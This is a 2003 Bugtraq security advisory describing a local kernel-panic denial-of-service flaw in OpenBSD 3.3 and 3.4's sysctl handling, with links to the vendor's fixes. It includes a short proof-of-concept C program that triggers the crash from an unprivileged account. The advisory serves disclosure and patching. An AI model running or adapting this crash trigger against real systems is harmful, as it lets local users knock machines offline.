OpenBSD sysctl Local Denial of Service Vulnerability

Bugtraq ID:	9073
Class:	Input Validation Error
CVE:
Remote:	No
Local:	Yes
Published:	Nov 19 2003 12:00AM
Updated:	Nov 19 2003 12:00AM
Credit:	The discoverer of this issue is currently unknown.
Vulnerable:	OpenBSD OpenBSD 3.4 OpenBSD OpenBSD 3.3
Not Vulnerable:

OpenBSD sysctl Local Denial of Service Vulnerability

A denial of service vulnerability has been reported for OpenBSD, specifically when handling malformed calls to sysctl. By invoking systcl and passing a specific flag in conjunction with a negative argument may trigger a kernel panic. This could be exploited by a malicious unprivileged local user to crash a target system.

The precise technical details regarding this vulnerability are currently unknown. This BID will be updated as further information is made available.

OpenBSD sysctl Local Denial of Service Vulnerability

The following proof of concept C program was released:

#include <stdio.h>
#include <sys/param.h>
#include <sys/sysctl.h>

int main ()
{
unsigned int blah[2] = { CTL_KERN, 0 }, addr = -4096 + 1;

return (sysctl (blah, 2, (void *) addr, &blah[1], 0, 0));
}

OpenBSD sysctl Local Denial of Service Vulnerability

Solution:
The vendor has made fixes available for this issue:


OpenBSD OpenBSD 3.4

• OpenBSD 007_uvm.patch
  ftp://ftp.OpenBSD.org/pub/OpenBSD/patches/3.4/common/007_uvm.patch

OpenBSD OpenBSD 3.3

• OpenBSD 012_uvm.patch
  ftp://ftp.OpenBSD.org/pub/OpenBSD/patches/3.3/common/012_uvm.patch

OpenBSD sysctl Local Denial of Service Vulnerability

References:

• OpenBSD Homepage (OpenBSD)